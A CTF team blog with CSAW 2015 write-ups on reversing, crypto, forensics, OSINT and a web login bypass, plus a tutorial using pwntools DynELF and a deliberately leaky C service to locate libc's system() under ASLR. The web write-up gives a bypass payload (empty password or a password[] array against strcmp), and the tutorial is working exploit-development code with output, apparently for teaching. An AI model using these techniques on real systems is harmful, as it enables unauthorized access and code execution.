Tuesday, September 22, 2015

CSAW 2015 Reversing 200 - Hacking Time

Description: We're getting a transmission from someone in the past, find out what he wants.

First, I opened up this cool NES game in FCEUX, an NES emulator. It had some funny stuff like, "overflowing the buffer" by pressing (A). Then it wanted a password to disable a lockdown. Lucky for me, FCEUX has a RAM Search tool. I changed the first character in the game to 'A' and pressed enter to see if anything changed. There are some values that changed exactly once after hitting enter, so I decided to look there. While scrolling through my options for the first character I noticed that a corresponding character in memory eventually reached 0. I guessed this was probably some sort of string comparison so 0 means that I have the correct character selected. From here I just went to each character position in the game and changed it until the value in RAM was 0 for the corresponding character. Eventually, I got the password:
--RedAnimus

Monday, September 21, 2015

CSAW 2015: Crypto 100: Notesy

The most difficult part about this problem is trying to identify what was actually wanted. Initially there was no instructions on the question, and only the words "Give me like a note dude" on the website. After having a slight internal debate about giving some random dude my notes, I started writing a little bit. After writing a couple words I went back to my trusty technique of throwing "a"s at it. It was super effective!

From this I established that this must be a substitution cipher, and therefore realized that I must need some sort of key to return from it, after all it was a crypto problem. At this point I was inspired to write out all of the letters in the alphabet in order, and copy the response. That was it.


flag{UNHMAQWZIDYPRCJKBGVSLOETXF}

-bobson

CSAW 2015 Forensics 100 - Transfer

CSAW 2015 Forensics 100 - Transfer

Description: I was sniffing some web traffic for a while, I think i finally got something interesting. Help me find flag through all these packets.
net_756d631588cb0a400cc16d1848a5f0fb.pcap
First we opened up this pcap in Wireshark and looked through the packets until we found something interesting, a python script! Neat!

import string

import random

from base64 import b64encode, b64decode


FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'



enc_ciphers = ['rot13', 'b64e', 'caesar']

# dec_ciphers = ['rot13', 'b64d', 'caesard']



def rot13(s):

._rot13 = string.maketrans(

    ."ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",

    ."NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")

.return string.translate(s, _rot13)



def b64e(s):

.return b64encode(s)



def caesar(plaintext, shift=3):

    alphabet = string.ascii_lowercase

    shifted_alphabet = alphabet[shift:] + alphabet[:shift]

    table = string.maketrans(alphabet, shifted_alphabet)

    return plaintext.translate(table)



def encode(pt, cnt=50):

.tmp = '2{}'.format(b64encode(pt))

.for cnt in xrange(cnt):

..c = random.choice(enc_ciphers)

..i = enc_ciphers.index(c) + 1

.._tmp = globals()[c](tmp)

..tmp = '{}{}'.format(i, _tmp)



return tmp



if __name__ == '__main__':

.print encode(FLAG, cnt=?)
So lets follow this TCP stream and see what else pops up:

2Mk16Sk5iakYxVFZoS1RsWnZXbFZaYjFaa1prWmFkMDVWVGs1U2IyODFXa1ZuTUZadU1YVldiVkphVFVaS1dGWXlkbUZXTVdkMVprWnJWMlZHYzFsWGJscHVVekpOWVZaeFZsUmxWMnR5VkZabU5HaFdaM1pYY0hkdVRXOWFSMVJXYTA5V1YwcElhRVpTVm1WSGExUldWbHBrWm05dk5sSnZVbXhTVm5OWVZtNW1NV1l4V1dGVWJscFVaWEJoVjFsdVdtUm5iMUpYVjNGS2IxWlViMWhXVnpFd1YwWktkbVpGWVZkbFIxRXdWa1JHVDJZeFRuWlhjRzlUWlZkclkxWlhZVk5TYmpGSFZsaHJaRkpVYjFOWmJsVXhWakZTVjFkd09WaFNNRlkyVmxjMVIxWldXa1pUY0d0WFpVWnpZbHBYWVhwVFYwWkhWM0JyVG1Wd2EydFdjSE5MVFVkSllsWnVaMWRsYm5OWldWUk9VMlV4VWxkWGJuZFVWbTl6V0Zad2QyNWtWbHAxVGxabldsWldWV0ZXYmxwTFZqRk9kV1pHYTJ0a01YTlpWb...(this type of stuff keeps going for a while)
So using that really long encrypted text and the python script we can solve this. An easy way to solve this is by stepping through the encode function with an example, I simply used the string "yo".

tmp = '2{}'.format(b64encode(pt))




First, "yo" is base64 encoded and a 2 is placed at the front of the resulting text. This means that when we are decoding our ciphertext will find this 2 and do the opposite, base64 decoding. Got it.

Next we go through the loop:

    for cnt in xrange(cnt):

    	c = random.choice(enc_ciphers)

    	i = enc_ciphers.index(c) + 1

    	_tmp = globals()[c](tmp)

    	tmp = '{}{}'.format(i, _tmp)

It makes a random choice about the cipher it uses and this is 'c'.
It also grabs the index of the cipher used and adds 1 and places that into 'i'.
'_tmp' is merely the result of putting the string into the randomly chosen cipher.
Finally, the 'tmp' is set to the index of the chosen cipher along with the string it encoded. All I had to do from there was script the decode function and run it.

import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
	_rot13 = string.maketrans(
    	"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
    	"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
	return string.translate(s, _rot13)

def b64e(s):
	return b64encode(s)

def b64d(s):
    return b64decode(s)

def caesar(plaintext, shift=3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)

def caesard(plaintext, shift=-3):
    return caesar(plaintext, -3)

def encode(pt, cnt=50):
    tmp = '2{}'.format(b64encode(pt))
    for cnt in xrange(cnt):
    	c = random.choice(enc_ciphers)
    	i = enc_ciphers.index(c) + 1
    	_tmp = globals()[c](tmp)
    	tmp = '{}{}'.format(i, _tmp)
        print tmp
    return tmp

def decode(pt):
    while pt[0].isdigit():
        i = dec_ciphers[int(pt[0])-1]
        pt = globals()[i](pt[1:])
    return pt

if __name__ == '__main__':
   with open("lol",'r') as f:
         filez = f.read()

   print decode(filez)


The result gave me:

flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}

 --RedAnimus

CSAW 2015: Forensics 200: Airport

I enjoyed this challenge, mostly cause I got to look at airplanes, but for this problem we were given 5 images. 4 of them were png images of airports, and 1 was a jpg of the logo for steghide. After a little bit of research I found that steghide was a stenography tool which could hide/unhide information in jpg images. As a result of this I came to the idea that I was only going to have to run this on the actual logo image, and the other 4 images meant something else, most likely leading to the password needed for stenography.

Using a little bit of reverse image searches we found that each of the images were:
Aeropuerto Jose Marti (HAV)

Hong Kong International Airport(HKG)

Los Angeles International Airport (LAX)

Toronto International Airport (YYZ)
 The first couple of these were pretty easy using a reverse image search, however the third only linked to a Korean man's travel itinerary (in Korean). From this we initially were thinking that it was a airport in Seoul, however looking this up online it looked completely different, so we looked where he flew to, which was LAX. The Toronto Airport we found using a little more creative methods. There were two roads labeled on the picture, which it ended up wasn't in the US, which threw me off a little bit, but it ended up being in Toronto.

From this I decided to use all of the 3 letter identifier in the order of the numbered images in order using the steghide tool, and it worked!




flag{iH4t3A1rp0rt5}

--bobson

CSAW 2015: Recon 100: Julian Cohen

This problem amused me greatly due to the lack of guidance that was given about it. As a result of this I immediately looked for the most obvious way to find him. From last year I knew that Julian Cohen's username in most places is HockeyInJune, and decided to just look that up. Twitter was my first guess (the young people love twitter these days) and after scrolling down a bit I found this:


flag{f7da7636727524d8681ab0d2a072d663}

-bobson

CSAW 2015: Web 200: Lawn Care Simulator

For this website I got reasonably excited about watching some grass grow, however after hearing that someone actually watched it grow all the way to the top and didn't actually win anything I gave up rapidly. After looking a little bit more at the source I established that nothing really interesting was happening. Therefore I moved on to intercepting the traffic for the username and password, which was being passed in a hashed version of the password.


As a result of this I wanted to find something that would break it, and noted that the one thing that it was checking for on the client side was that a password was actually existed, so therefore after I intercepted it with burpsuite I cleared the password out and submitted no password.

Once it submitted without the password, instead of the normal webpage, it returned the flag.

flag{gr0wth__h4ck!nG!1!1!

After a little bit more investigation, it looks like this used a server side strcmp, which meant that this was also vulnerable to making password an array (password[]=098f6bcd4621d373cade4e8627b4f6) returning the flag as well.



-bobson

Wednesday, January 14, 2015

Finding system in libc on ASLR program with memory leak

Sometimes you are able to exploit a binary, but it has ASLR and you don't know where to find system. With a memory leak (that you can do more than once), it is possible to figure this out using the GOT/PLT entries that the ELF linker uses without having a plethora of copies of glibc lying around.

The pwntools library https://pwntools.readthedocs.org/en/2.2/ makes this pretty straight forward.

First, I'll show C code for a simple service that leaks memory:

#include <stdio.h>
main()
{
  int x;
  printf("Info leak service!\n");
  fflush(stdout);
  while(!feof(stdin)) {
    scanf("%x",&x);
    write(1,x,4);
    fflush(stdout);
  }
}


Next, we'll run this as a network service on port 2048:

socat TCP-LISTEN:2048,reuseaddr,fork EXEC:./mccservice

Now we'll use pwntools to find system. We do provide one address from the program as a starting point.

from pwnlib import *
from struct import *
main = 0x080484ed
def leak(address):
   print "leaking " + hex(address)
   r.send(format(address,'x')+'\n')
   try:
      value = r.recvn(4)
      print "returning "+hex(ord(value[0]))+hex(ord(value[1]))+hex(ord(value[2]))+hex(ord(value[3]))
      print "returning "+str(value)
      return value
   except:
      return None
  

r = tubes.remote.remote('localhost',2048)
prompt = r.recvuntil('\n',drop=True)
d = dynelf.DynELF(leak,main)
#print d.lookup(None, 'libc')
print d.lookup('system','libc')
r.close()


You'll get a number of messages-- the ones from pwntools have "Resolving" and look like:

[*] Resolving 'system' in 'libc.so':
[*] Resolving 'system' in 'libc.so': Finding linkmap
[+] Resolving 'system' in 'libc.so': 0xf7782938
[+] Resolving 'system' in 'libc.so': 0xf75dac40